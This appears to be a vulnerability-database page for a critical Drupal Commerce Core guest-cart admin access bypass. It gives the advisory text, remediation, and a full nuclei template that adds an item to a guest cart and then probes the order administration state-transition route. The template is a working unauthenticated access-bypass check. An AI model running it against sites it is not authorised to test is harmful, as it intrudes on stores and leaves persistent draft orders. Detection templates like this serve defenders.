HexBrain

Browse / CVEs / CVE-2026-118539

CVE-2026-118539· drupal / commerce core· CWE-862

Drupal Commerce Core < 3.3.13 / < 8.x-2.41 - Guest Cart Admin Access Bypass

criticalseverity
0.7%likelihood of exploitation, next 30 days
53%of all CVEs are less likely
Readycheck to confirm it

Drupal Commerce Core before 3.3.13 on the 3.x branch and before 8.x-2.41 on the 2.x branch does not sufficiently protect certain order administration routes. This template finds a public product using a bounded set of 63 canonical product IDs, adds one item to a fresh guest cart, and checks whether the guest can read that cart order's administrative state-transition form. No account, prior order ID, JSON:API, or checkout is required. The guest draft order persists. Sites without a usable product among the sampled IDs produce no finding, which is inconclusive.

Impact

An anonymous guest who owns a draft cart may reach an order administration route that should require Commerce administration access. The advisory also reports possible financial impact; this template only reads the confirmation form and does not submit the transition or complete checkout.

Fix

Upgrade Commerce Core 3.x to 3.3.13 or the earlier branch to 8.x-2.41. Review orders for inconsistencies as advised by Drupal.

How to confirm it

Send: GET {{RootURL}}/product/{{product_id}}
Positive when: status_code == 200 && contains(body, "commerce-order-item-add-to-cart-form")
Send: POST {{RootURL}}/product/{{selected_product_id}}
Positive when: status_code == 200
Send: GET {{RootURL}}/cart
Positive when: status_code == 200 && contains(body, "views_form_commerce_cart_form_default_")
Send: GET {{RootURL}}/admin/commerce/config/orders
Positive when: status 403
Send: GET {{RootURL}}/admin/commerce/orders/{{order_id}}/state/place
Positive when: status_code == 200 && contains(body, "name=\"form_id\" value=\"commerce_order_default_state-transition-confirm_form\"")

Run it with nuclei: nuclei -id CVE-2026-118539 -u <target>

The full check
id: CVE-2026-118539

info:
  name: Drupal Commerce Core < 3.3.13 / < 8.x-2.41 - Guest Cart Admin Access Bypass
  author: alex700,dpuccetti,marcus_johansson,rsnyd
  severity: critical
  description: |
    Drupal Commerce Core before 3.3.13 on the 3.x branch and before 8.x-2.41
    on the 2.x branch does not sufficiently protect certain order administration
    routes. This template finds a public product using a bounded set of 63
    canonical product IDs, adds one item to a fresh guest cart, and checks
    whether the guest can read that cart order's administrative state-transition
    form. No account, prior order ID, JSON:API, or checkout is required. The
    guest draft order persists. Sites without a usable product among the sampled
    IDs produce no finding, which is inconclusive.
  impact: |
    An anonymous guest who owns a draft cart may reach an order administration
    route that should require Commerce administration access. The advisory also
    reports possible financial impact; this template only reads the confirmation
    form and does not submit the transition or complete checkout.
  remediation: |
    Upgrade Commerce Core 3.x to 3.3.13 or the earlier branch to 8.x-2.41.
    Review orders for inconsistencies as advised by Drupal.
  reference:
    - https://www.drupal.org/sa-contrib-2026-254
    - https://www.drupal.org/project/commerce/releases/3.3.13
    - https://nvd.nist.gov/vuln/detail/CVE-2026-118539
  classification:
    cve-id: CVE-2026-118539
    epss-score: 0.00671
    epss-percentile: 0.52361
    cwe-id: CWE-862
  metadata:
    verified: true
    vendor: drupal
    product: commerce_core
  tags: cve,cve2026,drupal,commerce,access-bypass,unauthenticated,intrusive,vkev

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - method: GET
    path:
      - "{{RootURL}}/product/{{product_id}}"
    payloads:
      product_id:
        - "1"
        - "2"
        - "3"
        - "4"
        - "5"
        - "6"
        - "7"
        - "8"
        - "9"
        - "10"
        - "13"
        - "20"
        - "27"
        - "34"
        - "41"
        - "48"
        - "55"
        - "62"
        - "69"
        - "76"
        - "83"
        - "90"
        - "97"
        - "103"
        - "150"
        - "197"
        - "244"
        - "291"
        - "338"
        - "385"
        - "432"
        - "479"
        - "526"
        - "573"
        - "620"
        - "667"
        - "714"
        - "761"
        - "808"
        - "855"
        - "902"
        - "949"
        - "996"
        - "1003"
        - "1470"
        - "1937"
        - "2404"
        - "2871"
        - "3338"
        - "3805"
        - "4272"
        - "4739"
        - "5206"
        - "5673"
        - "6140"
        - "6607"
        - "7074"
        - "7541"
        - "8008"
        - "8475"
        - "8942"
        - "9409"
        - "9876"
    threads: 1
    stop-at-first-match: true
    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 && contains(body, "commerce-order-item-add-to-cart-form")'
        internal: true
    extractors:
      - type: regex
        name: form_build_id
        part: body
        regex:
          - '(?s)commerce-order-item-add-to-cart-form[^>]*>.*?name="form_build_id" value="([^"]+)"'
        group: 1
        internal: true
      - type: regex
        name: form_id
        part: body
        regex:
          - '(?s)commerce-order-item-add-to-cart-form[^>]*>.*?name="form_id" value="([^"]+)"'
        group: 1
        internal: true
      - type: regex
        name: selected_product_id
        part: body
        regex:
          - 'name="form_id" value="commerce_order_item_add_to_cart_form_commerce_product_([0-9]+)"'
        group: 1
        internal: true

  - method: POST
    path:
      - "{{RootURL}}/product/{{selected_product_id}}"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: 'form_build_id={{url_encode(form_build_id)}}&form_id={{url_encode(form_id)}}&op=Add+to+cart'
    redirects: true
    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - method: GET
    path:
      - "{{RootURL}}/cart"
    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 && contains(body, "views_form_commerce_cart_form_default_")'
        internal: true
    extractors:
      - type: regex
        name: order_id
        part: body
        regex:
          - 'name="form_id" value="views_form_commerce_cart_form_default_([0-9]+)"'
        group: 1
        internal: true

  - method: GET
    path:
      - "{{RootURL}}/admin/commerce/config/orders"
    cookie-reuse: true
    matchers:
      - type: status
        status:
          - 403
        internal: true

  - method: GET
    path:
      - "{{RootURL}}/admin/commerce/orders/{{order_id}}/state/place"
    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 && contains(body, "name=\"form_id\" value=\"commerce_order_default_state-transition-confirm_form\"")'

References

Use this check only on systems you are authorised to test. Where the data comes from